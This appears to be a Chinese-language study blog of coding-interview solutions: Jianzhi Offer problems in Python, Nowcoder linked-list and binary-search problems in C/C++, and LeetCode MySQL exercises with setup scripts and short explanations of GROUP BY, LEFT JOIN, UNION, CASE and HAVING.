11
12
13
14
15
16
17
18
19
20
21
22
23
class MinStack:
def __init__(self):
self.stackA, self.stackB = [], []


def push(self, x: int) -> None:
self.stackA.append(x)
if(len(self.stackB) == 0 or self.stackB[-1] >= x):
self.stackB.append(x)

def pop(self) -> None:
tmp = self.stackA.pop()
if(tmp == self.stackB[-1]):
self.stackB.pop()


def top(self) -> int:
return self.stackA[-1]


def min(self) -> int:
return self.stackB[-1]

调整数组顺序使奇数位于偶数前面

image-20221019152724383

双指针或直接新数组

  • 新数组
1
2
3
4
5
6
7
8
9
10
11
class Solution:
def exchange(self, nums: List[int]) -> List[int]:
newJiNums = []
newOuNums = []
for i in nums:
if(i % 2 == 1):
newJiNums.append(i)
else:
newOuNums.append(i)
return newJiNums + newOuNums

  • 双指针
1
2
3
4
5
6
7
8
9
10
11
class Solution:
def exchange(self, nums: List[int]) -> List[int]:
i = 0
j = len(nums) - 1
while(i < j):
while(i < j and nums[i] % 2 == 1):
i += 1
while(i < j and nums[j] % 2 == 0):
j -= 1
nums[i],nums[j] = nums[j],nums[i]
return nums

丑数

image-20221020143110808

刚开始想着行不行保存状态,a,b,c保存状态,初始化为0,然后每次将这三个数尝试递增之后,计算tmp = min((a+1)*2,(b+1)*3,(c+1)*5),然后取最小值,之后再判断是哪一个,将对应的a/b/c加一即可。

然后由于a+1/b+1/c+1可能会出现包含除2,3,5之外的质因子,所以需要进行判断,判断其最大的质因子是否大于5即可,如果大于5,则不能要这个数。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
class Solution:
def get_num_factors(self,num):
hashSet = set()
tmp = 2
if(num < tmp):
return []
while (num >= tmp):
k = num % tmp
if (k == 0):
hashSet.add(tmp)
num = num / tmp # 更新
else:
tmp = tmp + 1 # 同时更新除数值,不必每次都从头开始
hashList = list(hashSet)
return hashList


def nthUglyNumber(self, n: int) -> int:
a,b,c = 0,0,0
tmp = [2,3,5]
dp = [1] * (n+1)
i = 2
while(i < n+1):
flag = 0
tmp = min((a+1)*2,(b+1)*3,(c+1)*5)
if(tmp == (a+1)*2):
tmpList = self.get_num_factors(a+1)
tmpList.sort()
if(len(tmpList) > 0 and tmpList[-1] > 5):
a += 1
else:
if(not flag):
i += 1
flag = 1
a += 1

if(tmp == (b+1)*3):
tmpList = self.get_num_factors(b+1)
tmpList.sort()
if(len(tmpList) > 0 and tmpList[-1] > 5):
b += 1
else:
if(not flag):
i += 1
flag = 1
b += 1
if(tmp == (c+1)*5):
tmpList = self.get_num_factors(c+1)
tmpList.sort()
if(len(tmpList) > 0 and tmpList[-1] > 5):
c += 1
else:
if(not flag):
i += 1
flag = 1
c += 1
if(flag):
dp[i-1] = tmp
return dp[n]

时间复杂度为O(n^2),会超时,后面看题解用动态规划才行,参考

剑指 Offer 49. 丑数(动态规划,清晰图解) - 丑数 - 力扣(LeetCode)

需要明确一点就是,所有的丑数都是前面的某个丑数乘以某个数得到的,这个某个数也必定是某个丑数,不然就会存在非1,2,3,5的质因子了。

1
2
3
4
5
6
7
8
9
10
11
12
13
class Solution:
def nthUglyNumber(self, n: int) -> int:
state = [0,0,0]
dp = [1] * (n + 1)
for i in range(2,n+1):
dp[i] = min(dp[state[0]+1]*2,dp[state[1]+1]*3,dp[state[2]+1]*5)
if(dp[i] == dp[state[0]+1]*2):
state[0] += 1
if(dp[i] == dp[state[1]+1]*3):
state[1] += 1
if(dp[i] == dp[state[2]+1]*5):
state[2] += 1
return dp[n]

股票的最大利润

和之前的买卖股票最佳时机一样

1
2
3
4
5
6
7
8
9
class Solution:
def maxProfit(self, prices: List[int]) -> int:
minIdx = 0
maxBenefit = 0
for i in range(0,len(prices)):
if(prices[i] < prices[minIdx]):
minIdx = i
maxBenefit = max(maxBenefit,prices[i] - prices[minIdx])
return maxBenefit

不过这次分析一下动态规划,参考面试题63. 股票的最大利润(动态规划,清晰图解) - 股票的最大利润 - 力扣(LeetCode)

假定dp[i]代表以prices[i]为结尾的子数组的最大利润,则可推导得到动态转换方程

1
2
前i日最大利润=max(前(i−1)日最大利润,第i日价格−前i日最低价格)
dp[i] = max(dp[i-1],prices[i]-min(prices[0:i]))

依据动态转换方程求得最终代码

1
2
3
4
5
6
7
8
9
10
11
12
class Solution:
def maxProfit(self, prices: List[int]) -> int:
if(len(prices) == 0):
return 0
minIdx = 0
dp = [0] * len(prices)
dp[0] = 0
for i in range(1,len(prices)):
if(prices[i] < prices[minIdx]):
minIdx = i
dp[i] = max(dp[i-1],prices[i] - prices[minIdx])
return dp[len(prices)-1]

最长不含重复字符的子字符串

参考之前的无重复字符的最长子串,使用滑动窗口+哈希

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
class Solution:
def lengthOfLongestSubstring(self, s: str) -> int:
if(len(s) == 0):
return 1
i,j=0,0
tmpS = ""
maxLen = 0
while(j < len(s)):
if(s[j] in tmpS):
i += 1
j += 1
tmpS = s[i:j]
while(len(set(tmpS)) != len(tmpS)):
i += 1
tmpS = s[i:j]
maxLen = max(maxLen,j-i)

或者使用动态规划+哈希

假定dp[i]为以s[0:i]这个子字符串的无重复字符的最长字串长度,当加入一个字符,即对于dp[i+1]而言,如果加入的字符s[i+1]可以和前面s[i-dp[i-1]:i]组成无重复的子字符串,那么dp[i+1] = dp[i] + 1,否则dp[i+1] = dp[i]

1
2
3
判断加入字符是否可以和前面dp[i-1]个字符串组成无重复子串,推导得到下面的状态转换方程
dp[i] = dp[i-1]
= dp[i-1] + 1

初始状态:dp[0] = 1

依据状态转换方程可得代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
class Solution:
def lengthOfLongestSubstring(self, s: str) -> int:
if(len(s) == 0):
return 0
if(len(s) == 1):
return 1
dp = [0] * (len(s))
dp[0] = 1
for i in range(1,len(s)):
tmpS = s[i-dp[i-1]:i+1]
if(len(set(tmpS)) == len(tmpS)):
dp[i] = dp[i-1] + 1
else:
dp[i] = dp[i-1]
return dp[len(s)-1]

构建乘积数组

image-20221021114545583

利用两次遍历依次累乘

对于B[i]

  • 第一次遍历,计算从B[0]~B[i-1]的乘积,结果保存在B[i]

    这时候由于B[i] = B[i-1]*A[i-1],所以我们可以从B[0]依次累乘,只需要遍历一次即可。

  • 第二次遍历,计算从B[n-1]~B[i+1]的乘积,最后乘上之前保存的B[i]即可

    同样这时候由于B[i] = B[i+1]*A[i+1]*B[i],那么我们也可以从B[n-1]开始依次累乘,遍历一次即可。

依据该规律,两次遍历即可得出结果

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
class Solution:
def constructArr(self, a: List[int]) -> List[int]:
product = 1
b = [1] * len(a)
for i in range(0,len(a)):
if(i == 0):
product = 1
else:
product *= a[i-1]
b[i] = product
product = 1
for i in range(len(a)-1,-1,-1):
if(i == len(a) - 1):
product = 1
else:
product *= a[i+1]
b[i] *= product
return b

数组中数字出现的次数

image-20221021154510005

如果不考虑空间复杂度,直接使用hash即可

1
2
3
4
5
6
7
8
9
10
11
12
13
14
class Solution:
def singleNumbers(self, nums: List[int]) -> List[int]:
dict = {}
myList = []
for i in nums:
if(i in dict.keys()):
dict[i] = not dict[i]
else:
dict[i] = True
for i in dict.keys():
if(dict[i] == True):
myList.append(i)
return myList

但是要求空间复杂度为O(1),那么就需要进行其他方法了,参考

剑指 Offer 56 - I. 数组中数字出现的次数(位运算,清晰图解) - 数组中数字出现的次数 - 力扣(LeetCode)

提供的思路,位运算

  • 假设不同的两位数分别为x,y
  • 通过异或nums里所有数,求得x⊕yxy
  • 假定m=1,通过位运算逐次循环左移并且异或x⊕y,求得x⊕y中最小为1的位。
  • 由于x⊕y中某位bit1,那么由于异或的特性,x、y各自该位的bit一定一个为1一个为0,基于此对nums进行分组
  • 将该位bit1的分为一组,为0的分为另一组,那么即可将x、y分开。同时对于其他的数字,由于各自独立成对,那么成对的数字一定会被分到同一组,之后异或之后也直接为0了。
  • 然后各自两种进行异或即可得到最终的x、y
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
class Solution:
def singleNumbers(self, nums: List[int]) -> List[int]:
xy = 0
for i in nums:
xy ^= i
m = 1
while (m & xy == 0):
m <<= 1
x,y = 0,0
for i in nums:
if(i & m == 0):
x ^= i
else:
y ^= i
return [x,y]

礼物的最大价值

image-20221021162958198

动态规划,设dp[i][j]为以[i,j]为终点的途径的获得的最大价值礼物,则有状态转换方程如下

1
dp[i][j] = max(dp[i-1][j],dp[i][j-1]) + grid[i][j]

初始状态:dp[0][0] = grid[0][0]

同时由于可能会超出边界,所以将dp扩大一个长宽

1
dp = [[0 for i in range(len(grid[0]) + 1)] for i in range(len(grid) + 1)]

同时从dp[1][1]开始作为计数,边界为数值为0,依据状态转换方程可得

1
2
3
4
5
6
7
8
class Solution:
def maxValue(self, grid: List[List[int]]) -> int:
dp = [[0 for i in range(len(grid[0]) + 1)] for i in range(len(grid) + 1)]
dp[1][1] = grid[0][0]
for i in range(1, len(grid) + 1):
for j in range(1, len(grid[0]) + 1):
dp[i][j] = max(dp[i-1][j],dp[i][j-1]) + grid[i - 1][j - 1]
return dp[len(grid)][len(grid[0])]

数组中出现次数超过一半的数字

image-20221021170623491

第一个想法就是hash

1
2
3
4
5
6
7
8
9
10
11
12
13
class Solution:
def majorityElement(self, nums: List[int]) -> int:
if(len(nums) == 1):
return nums[0]
dict = {}
for i in nums:
if(i in dict.keys()):
dict[i] = dict[i] + 1
else:
dict[i] = 1
for i in dict:
if(dict[i] > len(nums)//2):
return i

第二个想法就是排序,然后取中位数即为超过数组一半的数

第三个参考摩尔投票法:

剑指 Offer 39. 数组中出现次数超过一半的数字(摩尔投票法,清晰图解) - 数组中出现次数超过一半的数字 - 力扣(LeetCode)

1
2
3
4
5
6
7
8
9
10
11
class Solution:
def majorityElement(self, nums: List[int]) -> int:
sum = 0
for i in nums:
if(sum == 0):
x = i
if(i != x):
sum -= 1
else:
sum += 1
return x

和为s的连续正数序列

image-20221021211704786

和求最长不重复子串一样,直接滑动窗口

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
class Solution:
def findContinuousSequence(self, target: int) -> List[List[int]]:
i,j = 0,0
myList = [i for i in range(1,ceil(target/2)+1)]
res = []
sum = 0
sum += myList[i]
while(j < len(myList)):
if(sum < target):
if(j == len(myList)-1):
return res
else:
j += 1
sum += myList[j]
elif(sum == target):
res.append(myList[i:j+1])
if(j == len(myList)-1):
return res
else:
j += 1
sum += myList[j]
else:
sum -= myList[i]
i += 1
return res

从上到下打印二叉树

image-20221024113552404

可知BFS广度优先搜索满足要求,使用队列

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
import queue
class Solution:
def levelOrder(self, root: TreeNode) -> List[int]:
res = []
q = queue.Queue()

def bfs():
if(q.qsize() == 0):
return
root = q.get()
if (root == None):
return
res.append(root.val)
if(root.left != None):
q.put(root.left)
if(root.right != None):
q.put(root.right)
bfs()
q.put(root)
bfs()
return res

去掉这个递归有点麻烦,多次判断,尝试去掉递归

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
import queue
class Solution:
def levelOrder(self, root: TreeNode) -> List[int]:
res = []
q = queue.Queue()

def bfs():
while(q.qsize() != 0):
tmpRoot = q.get()
res.append(tmpRoot.val)
if(tmpRoot.left != None):
q.put(tmpRoot.left)
if(tmpRoot.right != None):
q.put(tmpRoot.right)
if(root == None):
return res
q.put(root)
bfs()
return res

牛客TOP101

链表

链表内指定区间反转

image-20221104201440818

使用precurnext三指针进行,需要注意某些特殊条件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
struct ListNode* reverseBetween(struct ListNode* head, int m, int n ) {
struct ListNode* originHead = head;
struct ListNode* pre = head;
struct ListNode* cur = head;
struct ListNode* tmpHead = head;
struct ListNode* lengtHead = head;
if ((n-m) < 1 || head==NULL||head->next==NULL) {
return originHead;
}
if (m == 1) {
tmpHead = NULL;
}
for (int i = 0 ; i < m - 1 ; i ++ ) {
cur = cur->next;
}
for (int i = 0 ; i < n ; i ++ ) {
pre = pre->next;
}
struct ListNode* next;
for (int i = 0 ; i < n - m + 1 ; i ++) {
next = cur->next;
cur->next = pre;
pre = cur;
cur = next;
}
if (tmpHead == NULL) {
return pre;
} else {
for (int i = 0 ; i < m - 2 ; i ++ ) {
tmpHead = tmpHead->next;
}
tmpHead->next = pre;
return originHead;
}
}

链表中的节点每k个一组翻转

image-20221105090729643

即依照索引,滑动窗口形式进行指定区间翻转,这里要记录一下翻转之前的preHead指针,方便在翻转之后进行连接。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
struct ListNode* reverseKGroup(struct ListNode* head, int k ) {
if (k == 1) {
return head;
}
struct ListNode* originHead = head;
struct ListNode* lengtHead = head;
struct ListNode* pre = head;
struct ListNode* cur = head;
struct ListNode* preHead;
struct ListNode* nextPreHead = NULL;
int tmpCount;
int left = 1;
int right = left + k - 1 ;
int length = 0;
while (lengtHead != NULL) {
lengtHead = lengtHead->next;
length += 1;
}
while (right <= length) {
tmpCount = 0;
while (tmpCount < k) {
pre = pre->next;
tmpCount += 1;
}
struct ListNode* next;
for (int j = 0 ; j < k; j ++) {
if (j == 0) {
preHead = nextPreHead;
nextPreHead = cur;
}
next = cur->next;
cur->next = pre;
pre = cur;
cur = next;
}
if (left == 1) {
originHead = pre;
}
if (preHead != NULL) {
preHead->next = pre;
}
pre = cur;
left += k;
right += k;
}
return originHead;
}

链表中环的入口结点

image-20221107203805285

快慢指针,参考:链表中环的入口结点_牛客题霸_牛客网 (nowcoder.com)

  • 快指针走两步,慢指针走一步,直至相遇
  • 从相遇点和链表头部再出发,直至相遇,相遇点即为环入口点。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
class Solution {
public:
ListNode* EntryNodeOfLoop(ListNode* head) {
struct ListNode* fast = head;
struct ListNode* low = head;
struct ListNode* originHead = head;
while(fast&&fast->next){
fast = fast->next->next;
low = low->next;
if(fast==low)
break;
}
if(fast == NULL or fast->next == NULL){
return NULL;
}
while (originHead != fast){
originHead = originHead->next;
fast = fast->next;
}
return originHead;
}
};

删除链表的倒数第n个节点

image-20221108164412584

快慢指针,记得记录pre节点

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
class Solution {
public:
/**
* 代码中的类名、方法名、参数名已经指定,请勿修改,直接返回方法规定的值即可
*
*
* @param pHead ListNode类
* @param k int整型
* @return ListNode类
*/
ListNode* removeNthFromEnd(ListNode* pHead, int k) {
// write code here
struct ListNode* fast = pHead;
struct ListNode* pre = NULL;
struct ListNode* slow = pHead;
int tmp = 0;
while (fast != NULL && tmp != k){
fast = fast->next;
tmp += 1;
}
if(tmp != k){
return NULL;
}
while (fast != NULL){
fast = fast->next;
if(pre == NULL){
pre = slow;
} else{
pre = pre->next;
}
slow = slow->next;
}
if(pre == NULL){
return pHead->next;
} else{
pre->next = slow->next;
}
return pHead;
}
};

两个链表的第一个公共结点

image-20221108164039213

计算长度,参考:两个链表的第一个公共结点_牛客题霸_牛客网 (nowcoder.com)

36

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
class Solution {
public:
ListNode* FindFirstCommonNode( ListNode* pHead1, ListNode* pHead2) {
struct ListNode* originHead1 = pHead1;
struct ListNode* originHead2 = pHead2;
while(pHead1 != pHead2){
if(pHead1 == NULL){
pHead1 = originHead2;
}else{
pHead1 = pHead1->next;
}
if(pHead2 == NULL){
pHead2 = originHead1;
}else{
pHead2 = pHead2->next;
}
}
return pHead1;
}
};

链表的奇偶重排

image-20221108163852157

分别简历奇偶链表然后串在一起,注意边界问题

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
class Solution {
public:
/**
* 代码中的类名、方法名、参数名已经指定,请勿修改,直接返回方法规定的值即可
*
*
* @param head ListNode类
* @return ListNode类
*/
ListNode* oddEvenList(ListNode* head) {
if(head == NULL || head->next == NULL){
return head;
}
ListNode* oddHead = head;
ListNode* evenHead = head->next;
ListNode* originOddHead = head;
ListNode* originEvenHead = evenHead;
while(oddHead->next != NULL && evenHead->next != NULL){
oddHead->next = oddHead->next->next;
oddHead = oddHead->next;
evenHead->next = evenHead->next->next;
evenHead = evenHead->next;
}
oddHead->next = originEvenHead;
return originOddHead;
}
};

删除有序链表中重复的元素-II

image-20221109162359368

  • 预先确定一个头节点preHead以及precur节点,逐次遍历

    1
    2
    3
    preHead = preHead->next;
    cur = cur->next;
    pre = pre->next;
  • 然后挨个删除重复节点

    1
    2
    3
    4
    5
    6
    if( cur->val == pre->val){
    tmp = cur->val;
    preHead->next = pre->next;
    pre = pre->next;
    cur = cur->next;
    }
  • 当碰到不同节点时,判断pre节点是否和存储的重复节点值相等,如果相当,那么pre节点也需要删除

    1
    2
    3
    if(pre->val == tmp){
    preHead->next = cur;
    }

需要最后cur为NULL时,如果最后一个也需要删除,那么此时由于cur为NULL,所以无法进入while循环中,无法删除,需要在while循环外部进行判断

1
2
3
if(pre->val == tmp){
preHead->next = NULL;
}

最终结果

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
class Solution {
public:
/**
*
* @param head ListNode类
* @return ListNode类
*/
ListNode* deleteDuplicates(ListNode* head) {
if(head == NULL || head->next == NULL){
return head;
}
struct ListNode* preHead = (struct ListNode*) malloc(0x10);
struct ListNode* originPreHead = preHead;
preHead->next = head;
struct ListNode* pre = head;
struct ListNode* cur = head->next;
int tmp;
while (cur != NULL){
if( cur->val == pre->val){
tmp = cur->val;
preHead->next = pre->next;
pre = pre->next;
cur = cur->next;
}else{
if(pre->val == tmp){
preHead->next = cur;
} else{
preHead = preHead->next;
}
cur = cur->next;
pre = pre->next;
}
}
if(pre->val == tmp){
preHead->next = NULL;
}
return originPreHead->next;
}
};

查找与排序

二分查找

注意边界性问题

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
int search(int* nums, int numsLen, int target ) {
int l = 0;
int r = numsLen - 1;
int mid = (l + r)/2;
while(r >= l){
if(nums[mid] == target){
return mid;
}
if(nums[mid] < target){
l = mid + 1;
mid = (mid+1 + r) / 2;
} else{
r = mid - 1;
mid = (l + mid-1) / 2;
}
}
return -1;
}

寻找峰值

image-20221109192943739

采用二分查找,依据mid来更改rightleft缩小范围,直至找到峰值

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
class Solution {
public:
/**
* 代码中的类名、方法名、参数名已经指定,请勿修改,直接返回方法规定的值即可
*
*
* @param nums int整型vector
* @return int整型
*/
int findPeakElement(vector<int>& nums) {
int l = 0;
int r = nums.size() - 1;

while(l < r){
int mid = (l + r)/2;
if(nums[mid] > nums[mid+1]){
r = mid;
} else{
l = mid + 1;
}
}
return l;

// write code here
}
};

数据库

例题均来源于Leetcode

游戏玩法分析I

创建语句

1
2
3
4
5
6
7
Create table If Not Exists Activity (player_id int, device_id int, event_date date, games_played int);
Truncate table Activity;
insert into Activity (player_id, device_id, event_date, games_played) values ('1', '2', '2016-03-01', '5');
insert into Activity (player_id, device_id, event_date, games_played) values ('1', '2', '2016-05-02', '6');
insert into Activity (player_id, device_id, event_date, games_played) values ('2', '3', '2017-06-25', '1');
insert into Activity (player_id, device_id, event_date, games_played) values ('3', '1', '2016-03-02', '0');
insert into Activity (player_id, device_id, event_date, games_played) values ('3', '4', '2018-07-03', '5');

image-20221103160948765

知识点:

group聚合

基于group by之后的列字段进行相同值的聚合,当查询多个列时,通常需要进行排序,所以也需要对相关数据进行值判定

代码:

1
2
3
4
5
SELECT 
player_id,
min(event_date) first_login
FROM Activity
GROUP BY player_id

寻找用户推荐人

创建语句:

1
2
3
4
5
6
7
8
Create table If Not Exists Customer (id int, name varchar(25), referee_id int);
Truncate table Customer;
insert into Customer (id, name, referee_id) values ('1', 'Will', 'None');
insert into Customer (id, name, referee_id) values ('2', 'Jane', 'None');
insert into Customer (id, name, referee_id) values ('3', 'Alex', '2');
insert into Customer (id, name, referee_id) values ('4', 'Bill', 'None');
insert into Customer (id, name, referee_id) values ('5', 'Zack', '1');
insert into Customer (id, name, referee_id) values ('6', 'Mark', '2');

image-20221103120439335

知识点:

NULL值判定

参考:寻找用户推荐人 - 寻找用户推荐人 - 力扣(LeetCode)

MySQL 使用三值逻辑 —— TRUE, FALSE 和 UNKNOWN。任何与 NULL 值进行的比较都会与第三种值UNKNOWN做比较。这个“任何值”包括 NULL 本身!这就是为什么 MySQL 提供 IS NULL 和 IS NOT NULL 两种操作来对 NULL 特殊判断。

代码:

1
SELECT name FROM customer WHERE referee_id != 2 OR referee_id IS NULL;

市场分析I

创建语句:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
Create table If Not Exists Users (user_id int, join_date date, favorite_brand varchar(10));
Create table If Not Exists Orders (order_id int, order_date date, item_id int, buyer_id int, seller_id int);
Create table If Not Exists Items (item_id int, item_brand varchar(10))
Truncate table Users;
insert into Users (user_id, join_date, favorite_brand) values ('1', '2018-01-01', 'Lenovo');
insert into Users (user_id, join_date, favorite_brand) values ('2', '2018-02-09', 'Samsung');
insert into Users (user_id, join_date, favorite_brand) values ('3', '2018-01-19', 'LG');
insert into Users (user_id, join_date, favorite_brand) values ('4', '2018-05-21', 'HP');
Truncate table Orders;
insert into Orders (order_id, order_date, item_id, buyer_id, seller_id) values ('1', '2019-08-01', '4', '1', '2');
insert into Orders (order_id, order_date, item_id, buyer_id, seller_id) values ('2', '2018-08-02', '2', '1', '3');
insert into Orders (order_id, order_date, item_id, buyer_id, seller_id) values ('3', '2019-08-03', '3', '2', '3');
insert into Orders (order_id, order_date, item_id, buyer_id, seller_id) values ('4', '2018-08-04', '1', '4', '2');
insert into Orders (order_id, order_date, item_id, buyer_id, seller_id) values ('5', '2018-08-04', '1', '3', '4');
insert into Orders (order_id, order_date, item_id, buyer_id, seller_id) values ('6', '2019-08-05', '2', '2', '4');
Truncate table Items;
insert into Items (item_id, item_brand) values ('1', 'Samsung');
insert into Items (item_id, item_brand) values ('2', 'Lenovo');
insert into Items (item_id, item_brand) values ('3', 'LG');
insert into Items (item_id, item_brand) values ('4', 'HP');

image-20221103161138352

知识点:

left join:

以左表为基础,从右表中选择对应条件的数据添加。

1
table1 left join table2

这里即以table1为基础,从table2中选择对应条件数据

ifnull(x1,x2)函数:

如果 x1NULL, 返回 x2,否则返回 x1

代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
SELECT 
users.user_id AS buyer_id,
users.join_date,
IFNULL(userBy.cnt,0) AS orders_in_2019
FROM users
LEFT JOIN(
SELECT
buyer_id,
COUNT(buyer_id) AS cnt
FROM orders
WHERE orders.`order_date` BETWEEN '2019-01-01' AND '2019-12-31'
GROUP BY buyer_id
)userBy
ON users.user_id = userBy.buyer_id

查询近30天活跃用户数

创建语句:

1
2
3
4
5
6
7
8
9
10
11
12
13
Create table If Not Exists Activity (user_id int, session_id int, activity_date date, activity_type ENUM('open_session', 'end_session', 'scroll_down', 'send_message'));
Truncate table Activity;
insert into Activity (user_id, session_id, activity_date, activity_type) values ('1', '1', '2019-07-20', 'open_session');
insert into Activity (user_id, session_id, activity_date, activity_type) values ('1', '1', '2019-07-20', 'scroll_down');
insert into Activity (user_id, session_id, activity_date, activity_type) values ('1', '1', '2019-07-20', 'end_session');
insert into Activity (user_id, session_id, activity_date, activity_type) values ('2', '4', '2019-07-20', 'open_session');
insert into Activity (user_id, session_id, activity_date, activity_type) values ('2', '4', '2019-07-21', 'send_message');
insert into Activity (user_id, session_id, activity_date, activity_type) values ('2', '4', '2019-07-21', 'end_session');
insert into Activity (user_id, session_id, activity_date, activity_type) values ('3', '2', '2019-07-21', 'open_session');
insert into Activity (user_id, session_id, activity_date, activity_type) values ('3', '2', '2019-07-21', 'send_message');
insert into Activity (user_id, session_id, activity_date, activity_type) values ('3', '2', '2019-07-21', 'end_session');
insert into Activity (user_id, session_id, activity_date, activity_type) values ('4', '3', '2019-06-25', 'open_session');
insert into Activity (user_id, session_id, activity_date, activity_type) values ('4', '3', '2019-06-25', 'end_session');

image-20221103161349643

知识点:

DISTINCT:

去重,直接当作函数用即可

代码:

1
2
3
4
5
6
SELECT 
Activity.`activity_date` AS `day`,
COUNT(DISTINCT(Activity.`user_id`)) AS active_users
FROM Activity
WHERE Activity.`activity_date` BETWEEN '2019-06-28' AND '2019-07-27'
GROUP BY Activity.`activity_date`

树节点

创建语句:

1
2
3
4
5
6
7
CREATE TABLE IF NOT EXISTS Tree (id INT, p_id INT);
TRUNCATE TABLE Tree;
INSERT INTO Tree (id, p_id) VALUES ('1', 'None');
INSERT INTO Tree (id, p_id) VALUES ('2', '1');
INSERT INTO Tree (id, p_id) VALUES ('3', '1');
INSERT INTO Tree (id, p_id) VALUES ('4', '2');
INSERT INTO Tree (id, p_id) VALUES ('5', '2');

image-20221103172919993

知识点:

union联合查询:

将多个查询语句联合起来

这里首先分类为根节点、叶子节点、内部节点

  • 根节点:

    是父节点为NULL

    1
    2
    3
    4
    5
    SELECT
    id,
    'root' AS TYPE
    FROM tree
    WHERE p_id IS NULL
  • 内部节点

    父节点和子节点都不是NULL,其中子节点不是NULL可以通过判断其他节点的父节点是不是该节点来确定。

    1
    2
    3
    4
    5
    6
    7
    SELECT id,'Inner' AS TYPE
    FROM tree
    WHERE id IN
    (SELECT p_id
    FROM tree
    WHERE p_id IS NOT NULL)
    AND p_id IS NOT NULL
  • 叶子节点

    和内部节点类似,子节点为NULL,存在父节点

    1
    2
    3
    4
    5
    6
    7
    SELECT id,'Leaf' AS TYPE
    FROM tree
    WHERE id NOT IN
    (SELECT p_id
    FROM tree
    WHERE p_id IS NOT NULL)
    AND p_id IS NOT NULL

然后将三个表联合起来,排个序即可

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
SELECT
id,
'Root' AS TYPE
FROM tree
WHERE p_id IS NULL

UNION

SELECT id,'Inner' AS TYPE
FROM tree
WHERE id IN
(SELECT p_id
FROM tree
WHERE p_id IS NOT NULL)
AND p_id IS NOT NULL

UNION

SELECT id,'Leaf' AS TYPE
FROM tree
WHERE id NOT IN
(SELECT p_id
FROM tree
WHERE p_id IS NOT NULL)
AND p_id IS NOT NULL
ORDER BY id;

CASE语句查询:

形式为case-when-then-else-end

1
2
3
4
5
6
7
8
9
10
11
12
SELECT 
id,
CASE
WHEN p_id IS NULL THEN 'Root' #root
WHEN id IN(SELECT p_id
FROM tree
WHERE p_id IS NOT NULL)
THEN 'Inner' #inner
ELSE 'Leaf' #leaf
END AS TYPE
FROM tree
ORDER BY id;

合作过至少三次的演员和导演

1
2
3
4
5
6
7
8
9
Create table If Not Exists ActorDirector (actor_id int, director_id int, timestamp int);
Truncate table ActorDirector;
insert into ActorDirector (actor_id, director_id, timestamp) values ('1', '1', '0');
insert into ActorDirector (actor_id, director_id, timestamp) values ('1', '1', '1');
insert into ActorDirector (actor_id, director_id, timestamp) values ('1', '1', '2');
insert into ActorDirector (actor_id, director_id, timestamp) values ('1', '2', '3');
insert into ActorDirector (actor_id, director_id, timestamp) values ('1', '2', '4');
insert into ActorDirector (actor_id, director_id, timestamp) values ('2', '1', '5');
insert into ActorDirector (actor_id, director_id, timestamp) values ('2', '1', '6');

image-20221103211036661

主要是having的知识点

参考:mysql having和where的区别 - caibaotimes - 博客园 (cnblogs.com)

where:

  • 是作用在查询结果进行分组之前,过滤掉不符合条件的数据。
  • where中不能包含聚合函数。(注意是:where后面子句不能有聚合函数,而在含有where中可以使用聚合函数)
  • 作用在group by和having字句前
  • 是作用于对表与视图

having:

  • 是作用在查询结果分组之后,筛选满足条件的组,过滤掉数据。
  • 通常跟聚合函数一起使用。
  • having子句在聚合后对组记录进行筛选。
  • 是作用于分组

其实就是group by的时候用到having来进行分组后的条件筛选,而不能用wherewhere是分组之前使用

1
2
3
4
SELECT actor_id,director_id
FROM ActorDirector
GROUP BY ActorDirector.actor_id,ActorDirector.director_id
HAVING COUNT(ActorDirector.director_id)>= 3

或者先计数然制表,然后再查询也行

1
2
3
4
5
6
7
SELECT actor_id,director_id 
FROM(
SELECT actor_id,director_id,COUNT(director_id) AS cnt
FROM ActorDirector
GROUP BY ActorDirector.actor_id,ActorDirector.director_id
) cntTable
WHERE cntTable.cnt >= 3

游戏玩法分析 IV

创建语句

1
2
3
4
5
6
7
Create table If Not Exists Activity (player_id int, device_id int, event_date date, games_played int);
Truncate table Activity;
insert into Activity (player_id, device_id, event_date, games_played) values ('1', '2', '2016-03-01', '5');
insert into Activity (player_id, device_id, event_date, games_played) values ('1', '2', '2016-03-02', '6');
insert into Activity (player_id, device_id, event_date, games_played) values ('2', '3', '2017-06-25', '1');
insert into Activity (player_id, device_id, event_date, games_played) values ('3', '1', '2016-03-02', '0');
insert into Activity (player_id, device_id, event_date, games_played) values ('3', '4', '2018-07-03', '5');

image-20221104105326813

知识点:

Date数据类型及函数:

mysql支持date日期数据类型以及为其创建了一个DATE函数,用法如下

  • 正常情况查询

    image-20221104105904188

  • 进行日期加减查询

    image-20221104105921938

  • 加入DATE函数

    image-20221104105954814

保留小数CONVERT:

